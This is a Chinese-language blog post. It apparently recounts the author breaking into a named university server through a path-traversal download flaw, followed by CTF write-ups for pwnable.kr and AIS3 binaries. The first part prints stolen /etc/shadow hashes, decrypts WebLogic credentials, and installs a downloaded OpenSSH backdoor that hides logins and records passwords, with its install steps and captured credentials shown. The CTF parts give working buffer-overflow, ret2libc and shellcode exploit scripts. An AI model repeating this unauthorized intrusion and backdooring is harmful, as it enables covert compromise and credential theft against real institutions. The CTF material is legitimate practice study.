从任意文件下载到系统 root 权限

其实蛮没有技术含量。我在两年前遇到这个任意文件下载,却不知道该怎么做,到现在渗透经验足了,拿下了,然后记录一下这一个过程,就这样qwq。

0x01

目标站是学校内的一个某系统,存在一个 root 权限的任意文件下载漏洞。年轻的时候我用 AWVS 扫到,很开心。但是我只知道下载 /etc/passwd/etc/shadow,然后去 cmd5 破解了个密码。

 owo > ~ curl "http://xxxxx.cqupt.edu.cn/index.do?method=download&fileName=../../../../../../../../../../../../../../../../../../etc/shadow" | grep "\$1"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1450    0  1450    0     0   167k      0 --:--:-- --:--:-- --:--:--  177k
root:$1$skHsra.H$231VnTWRAH5IZu/ZprShG1:15355:0:99999:7:::
noc:$1$VfzOW6qf$5bFZHbF9kffKjWNNRRS.t1:15050:0:99999:7:::
upload:$1$6l1DPvdr$9n35rMlJ.Y0K9T7LTTt4e.:15869:0:99999:7:::
save:$1$MtVRP4E2$VR2c3KpZzxMXyrtbx5PKC1:15041:0:99999:7:::
cisco:$1$imx62ClO$JoeFAGinKdzZFMZ1qmam20:15050:0:99999:7:::
log:$1$G0ukagUJ$WGon1ynxgRMKxY1mY6HUa.:15105:0:99999:7:::

得到了 log 的密码是 log,save 的密码是 save。但是,可以破解密码都不能登录。

 owo > ~ curl "http://xxxxx.cqupt.edu.cn/index.do?method=download&fileName=../../../../../../../../../../../../../../../../../../etc/passwd" | grep bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2061    0  2061    0     0   228k      0 --:--:-- --:--:-- --:--:--  251k
root:x:0:0:root:/root:/bin/bash
weblogic:x:501:501::/home/weblogic:/bin/bash
cisco:x:504:504::/home/cisco:/bin/bash

当时只到这里,啊,不知道怎么做了,GG,该干嘛干嘛。还是太年轻qwq。
其实还有很多东西可以下载,比如 /root/.bash_history,看了一遍,拿到了 Web 目录:/home/web/jsp/bea/user_projects/domains/xxx
这个站其实是 weblogic 搭建的,比较蛋碎的是,我又不知道 weblogic 的密码,也不知道存放密码的路径。

题外话

其实如果经验足够的话,应该可以知道密钥和密码文件存放的路径。
密钥路径:/home/web/jsp/bea/user_projects/domains/DOMAIN_NAME/security/SerializedSystemIni.dat
密码文件路径:/home/web/jsp/bea/user_projects/domains/DOMAIN_NAME/servers/APP_NAME/security/boot.properties
其中大部分信息都在 .bash_history 得到了,不过我还是不知道在哪,真是残念。

题外话结束

但是我机智的用 nmap 扫了下端口,发现 FTP 是 vsftpd。vsftpd 这么 6666,没做 chroot 的情况下可以各种看目录,而且用系统帐号就能登陆上。虽然是 /sbin/nologin/,但是 vsftp 还是能用的。上去之后翻了下目录,找到了加密后的密码还有加密密码的密钥。

0x02

根据 http://drops.wooyun.org/tips/349,可以造怎么去破解密码。里面给出的密码破解的 java 脚本依赖 weblogic 的包,我并不想在本地安装 weblogic,于是去万能的 Github 找了下,找到这个程序:https://github.com/NetSPI/WebLogicPasswordDecryptor
用法如下:

 owo > git clone https://github.com/NetSPI/WebLogicPasswordDecryptor
Cloning into 'WebLogicPasswordDecryptor'...
remote: Counting objects: 31, done.
remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31
Unpacking objects: 100% (31/31), done.
Checking connectivity... done.
 owo > tmp cd WebLogicPasswordDecryptor/
 owo > WebLogicPasswordDecryptor git:(master) javac WebLogicPasswordDecryptor.java
WebLogicPasswordDecryptor.java:2: 警告: BASE64Decoder是内部专用 API, 可能会在未来发行版中删除
import sun.misc.BASE64Decoder;
               ^
WebLogicPasswordDecryptor.java:41: 警告: BASE64Decoder是内部专用 API, 可能会在未来发行版中删除
        byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);
                                        ^
WebLogicPasswordDecryptor.java:95: 警告: BASE64Decoder是内部专用 API, 可能会在未来发行版中删除
        byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);
                                        ^
3 个警告
 pwq > WebLogicPasswordDecryptor git:(master) ✗ java WebLogicPasswordDecryptor /tmp/SerializedSystemIni.dat "{3DES}0/rNaowFnaz32NHhiOKRmg=="
DCaW2uXXX
 owo > WebLogicPasswordDecryptor git:(master) ✗

话说如果编译的时候发现缺少什么依赖包,可以去万能的 Google 搞定,我就不提了。
既然密码破解出来了,那就去 getshell 吧。

0x03

拿到之后,并不知道密码,心里很纠结。
因为这里的 cisco 账号也在某 mail.cqupt.edu.cn 中出现了,所以,我感觉还是要上一个比较牛逼的 backdoor。
问了我猫总之后,猫总推荐了我一个 openssh 的 backdoor。地址在这:http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
首先 wget 下来,然后看一下 README 和 INSTALL。

[root@xxx openssh-5.9p1.patch]# ls
INSTALL  LICENSE  openssh-5.9p1  openssh-5.9p1.tar.gz  README  sshbd5.9p1.diff  ssh_integrity_checker.sh
[root@oa openssh-5.9p1.patch]# cat README
Read LICENSE before redistributing
Read INSTALL to install backdoor
ssh_integrity_checker is tool for sysadmin to check possible OpenSSH infection

FEATURES:
- Isn't logged in lastlog, wtmp, utmp
- Your IP isn't logged in /var/log/message and /var/log/secure (RHEL/CentOS)
- Your IP isn't logged in /var/log/syslog and /var/log/auth.log (Ubuntu/Debian)
- Record incoming/outgoing user and password for SSH login
- Instant root access and bypass PermitRootLogin on sshd_config
- Also support for SSH with pam enabled
[root@oa openssh-5.9p1.patch]# cat INSTALL

-- QUICKSTART

wget http://mirror.corbina.net/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
cp sshbd5.5p1.diff openssh-5.9p1/
cd openssh-5.9p1
patch < sshbd5.9p1.diff

modify version.h
modify secret password and log path on includes.h
make sure you already install zlib, openssl, kerberos5, and libpam development header file

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install && service ssh restart (debian/ubuntu)
make && make install && service sshd restart (redhat/centos)
[root@xxx openssh-5.9p1.patch]#

根据提示要安装一下 zlib-devel、openssl-devel、pam-devel、krb5-lib 之类的包。
接着下载 openssh-5.9p1 的源代码,patch 掉,然后修改 includes.h,在 includes.h 的最下面。

接着 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5,然后 make && make install
重启 sshd 服务后,可以记录账号密码了。ssh 进来的在 /tmp/ilog,ssh 出去的在 /tmp/olog

[root@xxx tmp]# cat ilog
user:password --> log:log
user:password --> log:log
user:password --> log:log
[root@oa tmp]# cat olog
user:password@host --> root:asd@localhost
[root@xxx tmp]#

接下来就是慢慢的等待了。


Writeup: pwnable.kr "simple login"

覆盖 ebp

gdb 无脑单步发现存在一个溢出,用 IDA 和 gdb 调试确定漏洞点在 auth 函数:

.text:0804929C                 push    ebp
.text:0804929D                 mov     ebp, esp
.text:0804929F                 sub     esp, 28h
.text:080492A2                 mov     eax, [ebp+arg_0]
.text:080492A5                 mov     [esp+8], eax
.text:080492A9                 mov     dword ptr [esp+4], offset input
.text:080492B1                 lea     eax, [ebp+var_14]
.text:080492B4                 add     eax, 0Ch
.text:080492B7                 mov     [esp], eax
.text:080492BA                 call    memcpy

在这里 lea eax, [ebp+var_14] 的时候,eax 存放的是 0xffffd844,接着 add eax, 0Ch,eax 存放的是 0xffffd850

gdb-peda$ x/10a 0xffffd850
0xffffd850: 0x89aa669   0x0 0xffffd8a8  0x8049407 <main+250>

其中在 0xffffd858 处储存的地址是 ebp 的地址 0xffffd8a8,又因为我们最多可以传入 12 个字节,所以正好能覆盖掉 ebp。

控制 eip

在程序里存在 system 函数:

.text:0804925F                 push    ebp
.text:08049260                 mov     ebp, esp
.text:08049262                 sub     esp, 28h
.text:08049265                 mov     [ebp+var_C], offset input
.text:0804926C                 mov     eax, [ebp+var_C]
.text:0804926F                 mov     eax, [eax]
.text:08049271                 cmp     eax, 0DEADBEEFh
.text:08049276                 jnz     short loc_8049290
.text:08049278                 mov     dword ptr [esp], offset aCongratulation ; "Congratulation! you are good!"
.text:0804927F                 call    puts
.text:08049284                 mov     dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B                 call    system

所以只要能控制 eip 到 0x08049284 即可。
如果可以 leak 栈的地址,那么可以很容易的攻击成功,但是实际上程序中并没有可以泄露的地方。继续分析 .bss 段,发现存在一个全局变量 input:

gdb-peda$ p &input
$2 = (<data variable, no debug info> *) 0x811eb40

内容为我们传入的内容 base64 decode 后的内容:

gdb-peda$ x/10bx &input
0x811eb40 <input>:  0x69    0xa6    0x9a    0x00    0x00    0x00    0x00    0x00
0x811eb48 <input+8>:    0x00    0x00

所以我们可以把 ebp 覆盖为 input 的地址,然后 input 中存放调用 system 的地址,这样就可以直接控制 eip。

pwned

最终的 payload 为:

>>>> 'dead\x84\x92\x04\x08\x40\xeb\x11\x08'.encode('base64')
'ZGVhZISSBAhA6xEI\n'

攻击效果:

 owo > ~ nc pwnable.kr 9003
Authenticate : ZGVhZISSBAhA6xEI
hash : 70de801a09052293c1e045f5fe4a0717
ls
flag
log
login
super.pl
cat flag
control EBP, control ESP, control EIP, control the world~

AIS3 Pre-Exam pwn2 & pwn3 Writeup

据说 AIS3 是 217 出的 CTF,群里的小朋友叫我做这个题的时候比赛已经结束了。不过最近一直在练习 pwnable,所以就看了下 AIS3 的 pwn2 和 pwn3。
因为是 AIS3 的 pre-exam,而且总共五道 pwn 这只是前三道,所以题目都比较简单。简单是简单在漏洞能很明显的发现,但是成功 pwn 掉也是花费了我不少时间。

pwn2

pwn2 是一个 32-bit 的 ELF,开启了 FORTIFY 但是关掉了 NX。群里的菊苣说 FORTIFY 是一个编译选项,printf 的时候检查用户输入。所以这道题目果然就有了 FSB,但是 FSB 并不能任意 write 了,只能 leak 一下 stack 和 libc 的地址,不过这个也够了。
因为没开 NX 并且存在一个 stack overflow,可以利用 FSB 泄露 stack 地址,接着溢出执行 shellcode。不过最近在研究绕 DEP,所以也尝试了下用 ret2libc 来获取 shell。

gdb-peda$ disass echo
Dump of assembler code for function echo:
   0x08048540 <+0>:  push   ebx
   0x08048541 <+1>:  sub    esp,0x28
   0x08048544 <+4>:  lea    ebx,[esp+0x18]
   0x08048548 <+8>:  mov    DWORD PTR [esp+0x4],ebx
   0x0804854c <+12>: mov    DWORD PTR [esp+0x8],0x100
   0x08048554 <+20>: mov    DWORD PTR [esp],0x0
   0x0804855b <+27>: mov    DWORD PTR [esp+0x18],0x0
   0x08048563 <+35>: mov    DWORD PTR [esp+0x1c],0x0
   0x0804856b <+43>: call   0x80483a0 <read@plt>
   0x08048570 <+48>: mov    DWORD PTR [esp+0x4],ebx
   0x08048574 <+52>: mov    DWORD PTR [esp],0x1
   0x0804857b <+59>: call   0x80483e0 <__printf_chk@plt>
   0x08048580 <+64>: add    esp,0x28
   0x08048583 <+67>: pop    ebx
   0x08048584 <+68>: ret    
End of assembler dump.

存在漏洞的函数在这里。
先溢出一次,用 FSB 获取一些信息,ret 到 main 函数地址:

其中 fff19838 是 stack 的地址,f77726b0 是 libc 里什么鬼的地址:

不要问我怎么知道 f77726b0 是 libc 里的,我猜的 _(:3」∠)_。
经过刚才的第一轮之后,得到 libc 的地址,计算一下偏移即可得到 system 的地址。接着回到 main 函数再来一发。
要想成功利用 ret2libc,这一轮需要传入的数据大概是这样:

aaaaaaaaaaaaaaaaaaaa + system_addr + exit_addr(不是必须) + argv_addr

不过怎么传入 argv 的地址愁到我了,因为没有能写入 /bin/sh 的地方。
想了一下动了个歪脑筋,直接在 ret2libc 的利用 payload 最后加上 /bin/sh,然后利用前面泄露的 stack 地址计算一下 offset。

现在的利用 payload 是:

aaaaaaaaaaaaaaaaaaaa + system_addr + exit_addr + argv_addr + "/bin/sh"

最终的 exp 是这样:

from zio import *
io = zio('./pwn2', timeout=9999)

payload = '%x%x%x%xaaaaaaaaaaaa\xf0\x83\x04\x08'
io.writeline(payload)
data = io.read_until_timeout(0.1)

stack_addr = l32(int(data[4:12], 16) - 48)
system_addr = l32(int(data[12:20], 16) - 1676880)
exit_addr = l32(int(data[12:20], 16) - 1727184)

io.writeline('a' * 20 + system_addr + exit_addr + stack_addr + '/bin/sh\x00')
io.interact()

也就计算偏移稍微麻烦点_(:3」∠)_

另外还有个溢出然后在栈上执行代码的 exp 也写了:

from zio import *
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload = '%x%x%xaaaaaaaaaaaaaa\xf0\x83\x04\x08'

io = zio('./pwn2', timeout=999)
io.writeline(payload)
data = io.read_until('aaa')
stack_addr = l32(int(data[4:12], 16) - 56)
io.writeline('a' * 20 + stack_addr + '\x90' * 5 + shellcode)
io.interact()

pwn3

pwn3 是模拟了一个 stack,可以进行 pop、push。说实话这道题目拿来就知道用意是栈上任意内存的读写了(看不出来就炸了)。
这个题没用 ida 逆向分析,直接上 gdb 跟的。因为所有的安全防护都没有开,所以利用起来很简单。
我是先用 pop 来 leak 出 stack 的地址,然后再一直 push 到返回地址覆盖为 stack 上计算的 shellcode 的地址,顺便把 shellcode 也写到 stack 里。
这道题写内存的时候是写一个整数。由于一些限制,最大只能写到 2147483647 ,也就是 0x7fffffff。如果大于,可以用负数来写。比如 -1 的话就会写入 0xffffffff 到内存_(:3」∠)_
思路很明确,但是实现起来还是有些复杂。跟了一下汇编发现往 stack 里写内容的时候并不能任意的写,比如:

0x0804881a <+229>:  mov    ecx,DWORD PTR [ebp-0x4]
0x0804881d <+232>:  leave  
0x0804881e <+233>:  lea    esp,[ecx-0x4]
0x08048821 <+236>:  ret

这里已开始我写内容的时候把 ecx 覆盖为 0x233 了,导致读不了内存 GG。还有就是有的 shellcode 不能用,sad story。
不过细心一点计算的话,还是很好做的。比较花费时间而已。

exploit 如下:

from zio import *
import time


io = zio('./pwn3', timeout=9999)

def shellcoder(shellcode):
    _ = map(l32, shellcode)
    return map(lambda x: x if x < 0x7fffffff else x - 0xffffffff - 0x1, _)

shellcode = [
    "\x31\xc0\x50\x68", "\x2f\x2f\x73\x68", "\x68\x69\x6e\x2f",
    "\x2f\x68\x2f\x2f", "\x2f\x62\x89\xe3", "\x50\x89\xe2\x53",
    "\x89\xe1\xb0\x0b", "\xcd\x80\x90\x90"
]

shellcode = shellcoder(shellcode)

stack = []
for i in range(0, 2):
    io.read_until_timeout(0.01)
    io.writeline('2')
    data = io.read_until_timeout(0.01)
    stack.append(int(data.splitlines()[0].split(':')[1].strip(), 16))

stack_addr = stack[1] - 138

for i in range(0 ,2):
    io.read_until_timeout(0.01)
    io.writeline('1')
    io.read_until_timeout(0.01)
    io.writeline(str(stack.pop()))


ecx_addr = stack_addr - 0xffffffff + 0x4
for i in range(0, 24):
    io.read_until_timeout(0.01)
    io.writeline('1')
    io.read_until_timeout(0.01)
    if i == 23:
        io.writeline(str(stack_addr - 0xffffffff))
    elif i == 24:
        io.writeline(str(stack_addr - 0xffffffff + 50))
    elif i == 7:
        if ecx_addr % 0x100 > 0x7f:
            io.writeline(str((((ecx_addr % 0x100) << 0x18) - 0xffffffff + 0x112233)))
        else:
            io.writeline(str(((ecx_addr % 0x100) << 0x18) + 0x112233))
    elif i == 8:
        addr = stack_addr - 0xffffffff
        io.writeline(str(addr >> 8))
    elif i >= 10 and i <= 17:
        io.writeline(str(shellcode[i - 10]))
    else:
        io.writeline(str(-1869574000))


io.writeline('4')
io.interact()


就这样,碎叫_(:3」∠)_